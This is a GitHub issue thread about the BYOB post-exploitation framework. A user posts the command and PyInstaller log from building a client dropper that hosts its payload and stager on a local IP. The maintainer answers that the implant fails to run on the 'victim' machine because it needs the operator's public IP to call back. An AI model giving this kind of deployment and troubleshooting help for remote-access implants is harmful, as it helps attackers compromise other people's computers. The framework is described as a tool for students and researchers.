malwaredllc / byob

An open-source post-exploitation framework for students, researchers and developers.
https://byob.dev
GNU General Public License v3.0
8.96k stars 2.12k forks source link

"ERROR: Hidden import 'pkg_resources.py2_warn' not found" while client payload building #216

Closed azizahmed45 closed 4 years ago

azizahmed45 commented 4 years ago

"ERROR: Hidden import 'pkg_resources.py2_warn' not found" in PyInstaller While client payload building in windows. And while installing it to victim pc "Failed to execute script"

LOG:


$ python client.py 192.168.0.103 4040 --freeze

88                                  88
88                                  88
88                                  88
88,dPPYba,  8b       d8  ,adPPYba,  88,dPPYba,
88P'    "8a `8b     d8' a8"     "8a 88P'    "8a
88       d8  `8b   d8'  8b       d8 88       d8
88b,   ,a8"   `8b,d8'   "8a,   ,a8" 88b,   ,a8"
8Y"Ybbd8"'      Y88'     `"YbbdP"'  8Y"Ybbd8"'
                d8'
               d8'

[>] Modules
        Adding modules...  (3 modules added to client)

[>] Imports
        Adding imports... (27 imports from 3 modules)

[>] Payload
        Uploading payload...  (hosting payload at: http://192.168.0.103:4041///payloads/rhT.py)

[>] Stager
        Uploading stager...  (hosting stager at: http://192.168.0.103:4041///stagers/rhT.py)

[>] Dropper
        Writing dropper...  (347 bytes written to byob_rhT.py)
        Compiling executable...
 78 INFO: PyInstaller: 3.6
78 INFO: Python: 3.8.2
78 INFO: Platform: Windows-10-10.0.18362-SP0
79 INFO: wrote D:\PenetrationLab\BYOB\byob\byob\rhT.spec
81 INFO: UPX is not available.
88 INFO: Extending PYTHONPATH with paths
['D:\\PenetrationLab\\BYOB\\byob\\byob\\modules\\payloads',
 'D:\\PenetrationLab\\BYOB\\byob\\byob']
88 INFO: checking Analysis
88 INFO: Building Analysis because Analysis-00.toc is non existent
88 INFO: Initializing module dependency graph...
91 INFO: Caching module graph hooks...
101 INFO: Analyzing base_library.zip ...
3061 INFO: Processing pre-find module path hook   distutils
3061 INFO: distutils: retargeting to non-venv dir 'C:\\Users\\Aziz\\AppData\\Local\\Programs\\Python\\Python38-32\\lib'
5889 INFO: Caching module dependency graph...
6038 INFO: running Analysis Analysis-00.toc
6041 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable
  required by C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\python.exe
6124 INFO: Analyzing D:\PenetrationLab\BYOB\byob\byob\modules\payloads\rhT.py
D:\PenetrationLab\BYOB\byob\byob\modules\payloads\rhT.py:1704: SyntaxWarning: "is" with a literal. Did you mean "=="?
  return json.dumps({'username': self.info.get('username'),  'administrator': 'true' if bool(os.getuid() == 0 if os.name is 'posix' 
else ctypes.windll.shell32.IsUserAnAdmin()) else 'false'})
D:\PenetrationLab\BYOB\byob\byob\modules\payloads\rhT.py:1735: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if os.name is 'nt':
6406 INFO: Analyzing hidden import 'pkg_resources.py2_warn'
6500 ERROR: Hidden import 'pkg_resources.py2_warn' not found
6500 INFO: Processing module hooks...
6500 INFO: Loading module hook "hook-distutils.py"...
6502 INFO: Loading module hook "hook-encodings.py"...
6587 INFO: Loading module hook "hook-lib2to3.py"...
6591 INFO: Loading module hook "hook-pkg_resources.py"...
6861 INFO: Processing pre-safe import module hook   win32com
7117 INFO: Excluding import '__main__'
7118 INFO:   Removing import of __main__ from module pkg_resources
7118 INFO: Loading module hook "hook-pydoc.py"...
7119 INFO: Loading module hook "hook-pythoncom.py"...
7413 INFO: Loading module hook "hook-pywintypes.py"...
7803 INFO: Loading module hook "hook-sysconfig.py"...
7804 INFO: Loading module hook "hook-win32com.py"...
C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\lib\site-packages\win32com\client\makepy.py:369: SyntaxWarning: "is not" with a literal. Did you mean "!="?
  if path is not '' and not os.path.exists(path):
8093 INFO: Loading module hook "hook-xml.etree.cElementTree.py"...
8094 INFO: Loading module hook "hook-xml.py"...
8148 INFO: Loading module hook "hook-_tkinter.py"...
8291 INFO: checking Tree
8292 INFO: Building Tree because Tree-00.toc is non existent
8292 INFO: Building Tree Tree-00.toc
8363 INFO: checking Tree
8363 INFO: Building Tree because Tree-01.toc is non existent
8363 INFO: Building Tree Tree-01.toc
8408 INFO: Looking for ctypes DLLs
8523 INFO: Analyzing run-time hooks ...
8527 INFO: Including run-time hook 'pyi_rth__tkinter.py'
8528 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
8536 INFO: Looking for dynamic libraries
8715 WARNING: lib not found: pywintypes38.dll dependency of C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\lib\site-packages\win32\win32evtlog.pyd
8732 WARNING: lib not found: pywintypes38.dll dependency of C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\lib\site-packages\win32\win32api.pyd
8766 WARNING: lib not found: pywintypes38.dll dependency of C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\lib\site-packages\win32\win32wnet.pyd
8962 INFO: Looking for eggs
8962 INFO: Using Python library C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\python38.dll
8962 INFO: Found binding redirects:
[]
8967 INFO: Warnings written to D:\PenetrationLab\BYOB\byob\byob\build\rhT\warn-rhT.txt
9029 INFO: Graph cross-reference written to D:\PenetrationLab\BYOB\byob\byob\build\rhT\xref-rhT.html
9072 INFO: checking PYZ
9072 INFO: Building PYZ because PYZ-00.toc is non existent
9072 INFO: Building PYZ (ZlibArchive) D:\PenetrationLab\BYOB\byob\byob\build\rhT\PYZ-00.pyz
9927 INFO: Building PYZ (ZlibArchive) D:\PenetrationLab\BYOB\byob\byob\build\rhT\PYZ-00.pyz completed successfully.
9950 INFO: checking PKG
9951 INFO: Building PKG because PKG-00.toc is non existent
9951 INFO: Building PKG (CArchive) PKG-00.pkg
D:\PenetrationLab\BYOB\byob\byob\modules\payloads\rhT.py:1704: SyntaxWarning: "is" with a literal. Did you mean "=="?
  return json.dumps({'username': self.info.get('username'),  'administrator': 'true' if bool(os.getuid() == 0 if os.name is 'posix' 
else ctypes.windll.shell32.IsUserAnAdmin()) else 'false'})
D:\PenetrationLab\BYOB\byob\byob\modules\payloads\rhT.py:1735: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if os.name is 'nt':
12191 INFO: Building PKG (CArchive) PKG-00.pkg completed successfully.
12226 INFO: Bootloader C:\Users\Aziz\AppData\Local\Programs\Python\Python38-32\lib\site-packages\PyInstaller\bootloader\Windows-32bit\runw.exe
12226 INFO: checking EXE
12226 INFO: Building EXE because EXE-00.toc is non existent
12226 INFO: Building EXE from EXE-00.toc
12226 INFO: Appending archive to EXE D:\PenetrationLab\BYOB\byob\byob\dist\rhT.exe
12238 INFO: Building EXE from EXE-00.toc completed successfully.
(8,929,684 bytes saved to file: /PenetrationLab/BYOB/byob/byob\dist\rhT.exe)
malwaredllc commented 4 years ago

That Pyinstaller error shouldn't matter. I think it may be failing to execute because you need to use your public IP, not your local IP. So it is unable to connect.